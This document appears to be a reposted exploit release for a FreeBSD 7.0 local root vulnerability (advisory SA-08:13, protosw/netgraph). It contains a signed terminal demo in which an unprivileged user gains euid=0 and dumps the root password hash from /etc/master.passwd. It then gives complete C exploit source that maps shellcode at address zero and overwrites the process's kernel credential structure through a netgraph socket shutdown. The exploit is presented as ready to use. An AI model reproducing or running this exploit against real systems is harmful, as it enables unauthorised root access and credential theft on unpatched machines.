FreeBSD Local Root Privilege Escalation Vulnerability Hits Like a Ton of Bricks

To contact us Click HERE

We've been following the recent FreeBSD Security Advisory http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc . This vulnerability allows us to write data within kernel memory itself. Nice work to Don and the original discoverer, Christer Oberg.


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

uname -rs
FreeBSD 7.0-RELEASE
id
uid=1001(donb) gid=1001(donb) groups=1001(donb),0(wheel)
grep ^root /etc/master.passwd
grep: /etc/master.passwd: Permission denied
nm /boot/kernel/kernel | grep allproc
c0bf26b8 B allproc
c0bf2670 B allproc_lock
cc -o x x.c
./x 0xc0bf26b8
euid=0
id
uid=1001(donb) gid=1001(donb) euid=0(root) groups=1001(donb),0(wheel)
grep ^root /etc/master.passwd
root:$1$fuS6o3Qy$iFlUEpD9Y3ph7rOzMU/br1:0:0::0:0:Charlie &:/root:/bin/csh


Happy holidays, all!

D
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.9 (GNU/Linux)

iEYEARECAAYFAklUla4ACgkQttfe3HwtctN/fgCeJDmmpOK8bn1dnssxOkTZXdUg
idUAmwdyoMZnoEfnrR14TQlRDli9mv+j
=Pixh
-----END PGP SIGNATURE-----

/*
 * This is a quick and very dirty exploit for the FreeBSD protosw vulnerability
 * defined here: 
 * http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc
 *
 * This will overwrite your credential structure in the kernel. This will 
 * affect more than just the exploit's process, which is why this doesn't
 * spawn a shell. When the exploit has finished, your login shell should
 * have euid=0. 
 *
 * Enjoy, and happy holidays!
 *  - Don "north" Bailey (don.bailey@gmail.com) 12/25/2008
 */

#include <sys/mman.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netgraph/ng_socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>

#define PAGES 1
#define PATTERN1 0x8f8f8f8f
#define PATTERN2 0x6e6e6e6e

typedef unsigned long ulong;
typedef unsigned char uchar;

int
x(void)
{
 struct proc * p = (struct proc * )PATTERN1;
 uint * i;

 while(1)
 {
  if(p->p_pid == PATTERN2)
  {
   i = (uint * )p->p_ucred;
   *++i = 0;
   break;
  }

  p = p->p_list.le_next;
 }

 return 1;
}

int
main(int argc, char * argv[])
{
 ulong addr;
 uchar * c;
 uchar * d;
 uint * i;
 void * v;
 int pid;
 int s;

 if(argc != 2)
 {
  fprintf(stderr, "usage: ./x <allproc>
");
  return 1;
 }

 addr = strtoul(argv[1], 0, 0);

 v = mmap(
  NULL,
  (PAGES*PAGE_SIZE),
  PROT_READ|PROT_WRITE|PROT_EXEC, 
  MAP_ANON|MAP_FIXED, 
  -1, 
  0);
 if(v == MAP_FAILED)
 {
  perror("mmap");
  return 0;
 }

 c = v;
 d = (uchar * )x;
 while(1)
 {
  *c = *d;
  if(*d == 0xc3)
  {
   break;
  }

  d++;
  c++;
 }

 *c++ = 0xc3;

 c = v;
 while(1)
 {
  if(*(long * )c == PATTERN1)
  {
   *(c + 0) = addr >>  0;
   *(c + 1) = addr >>  8;
   *(c + 2) = addr >> 16;
   *(c + 3) = addr >> 24;
   break;
  }
  c++;
 }

 pid = getpid();
 while(1)
 {
  if(*(long * )c == PATTERN2)
  {
   *(c + 0) = pid >>  0;
   *(c + 1) = pid >>  8;
   *(c + 2) = pid >> 16;
   *(c + 3) = pid >> 24;
   break;
  }
  c++;
 }

 s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
 if(s < 0)
 {
  perror("socket");
  return 1;
 }

 shutdown(s, SHUT_RDWR);

 return 0;
}